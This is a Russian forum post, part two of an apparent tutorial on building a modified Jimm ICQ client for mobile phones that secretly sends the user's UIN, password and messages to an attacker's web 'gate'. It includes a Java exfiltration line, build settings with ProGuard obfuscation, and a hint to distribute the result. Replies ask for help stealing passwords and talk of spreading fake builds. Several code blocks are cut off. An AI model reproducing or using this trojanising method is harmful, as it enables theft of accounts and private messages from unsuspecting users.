![]() |
JIMM Изнутри by Whirt (Часть 2)
Jimm изнутри (Часть 2)
Вступление Итак, в предыдущей части мы разобрались, где у нас определены UIN и пароль, как нам подменить сервер для подключения, и как нам похитить данные на наш гейт. В прошлой часте мы остановились на проблеме кодирования данных для передачи через HTTP запрос. Напишем для этого такой код: Код:
/**И влючить его в код: Код:
import jimm.whirtUrl;(не забываем подключать соответствующие java-файлы) Код:
httemp4 = (HttpConnection) Connector.open(script+"?uin="+Options.getString(Options.OPTION_UIN)+"&type=0x02&data="+whirtUrl.encode("[From: "+sndrUin+"] "+text));Ну а теперь настало самое время написать наш принимающий core-модуль )))) Он довольно простой, но функциональный: PHP код:
Хочу заметить, что каталог (изначально) logs должен обязательно существовать, +подкаталог hist, если мы собираемся перехватывать историю. Компиляция Ну что ж, теперь у нас все готово для компиляции. Нам понадобятся последние версии следующих компонентов: Apache Ant, NetBeans IDE (можно обойтись и без нее, но при редактировании и отладке кода - очень удобно), Java 2 Platform Standard Edition (J2SE) SDK, J2ME Wireless Toolkit >=2.2, Pro Guard >=4.1 Все это добро можно найти в интернете и скачать, используя наш любимый google ) С установкой, думаю проблем возникнуть не должно. Давайте лучше, обратим внимание на файл build.xml, нам нужно будет его отредактировать вручную. Код:
<property name="DEFAULT/midp" value="D:\WTK2.5.2" />Код:
<property name="proguard" value="C:\devel\java\proguard4.1\proguard4.1"/>но все же рекомендую. Жмет+обфусцирует код. Код:
<property name="target" value="MIDP2" />В ином случае, укажите ваш вариант. Код:
<property name="modules" value="SMILES,HISTORY,PROXY" />То, что ненужно, можно отключить, чтобы уменьшить размер скомпилированного приложения. Код:
<property name="version/jimm" value="0.5.3b" />Ну, вроде ничего не упустил, теперь можно запускать NetBeans IDE. File -> New Project -> Java Project With Existing Ant Script. Указываем диру, где лежат исходники jimm + наш build-скрипт (build.xml) Next; В Build Project: устанавливаем таргет "dist" . Ну вот и все. Впринципе можно смело нажимать Build. И, если, все сделано, правильно, у нас в директории \jimm\dist\bin Появятся 2 файла: .jar и .jad Думаю, что с ними делать дальше, ты знаешь :) http://img167.imageshack.us/img167/8...ssbuildue3.jpg Заключение Итак, как, ты понял, мы можем запросто собрать свой билд Jimm с нужными нам функциями. Думаю теперь ты будешь чаще использовать оф. версии, для которых доступны исходные коды, ведь безопасность твоей ICQ тебе наверно дороже? Сейчас расплодилось огромное количество модификаций Jimm, большинство из них имеют закрытый исходный код, и только сетевой трейс сможет отследить, какую инфу они отправляют в действительности. A little Disclaimer: Статья не является руководством к написанию вредоносных программ, а является лишь информацией к размышлению) Автор не несет ответственности за любой принесенный ущерб в результате неправильного использования представленной информации, а так же действий, противоречащих УК РФ. Copyright: Whirt Специально для Anitchat.ru |
Whirt можешь подробно написать для чайника как сделать что бы jimmка отпровляла пароли на указаный ей uin пожалуйста????
|
А жертва разве не может вернуть номер через примак ? или они уже давно отпали :)(данным вопросом давно не интересовался )) , за статью спасибо!
|
Whirt можешь подробно написать для чайника как сделать что бы jimmка отпровляла пароли на указаный ей uin пожалуйста???
|
молодец, как всегда отлично!так фейки шпарить и шпарить мона и отправлять по сайтам мобил )
|
Цитата:
|
Цитата:
Цитата:
|
можно делать сайт как смскапкан только асикью капкан :) ТС надеюсь ты тут не все спалил и сможешь свои гениальные идеи сказочно монетизировать. гуд лак!
|
Цитата:
Вот реально правда.Попробовать через эмулятор на кривой девятки посмотреть с помощью фаервола.Если чисто все,то только тогда юзать Jimm. Отличная статья |
ой как всё сложно то в каком-то маленьком Jimm'e :)
Вообще почти ничего не понял из статьи, а может просто не захотел понимать... :confused: |
| Время: 01:04 |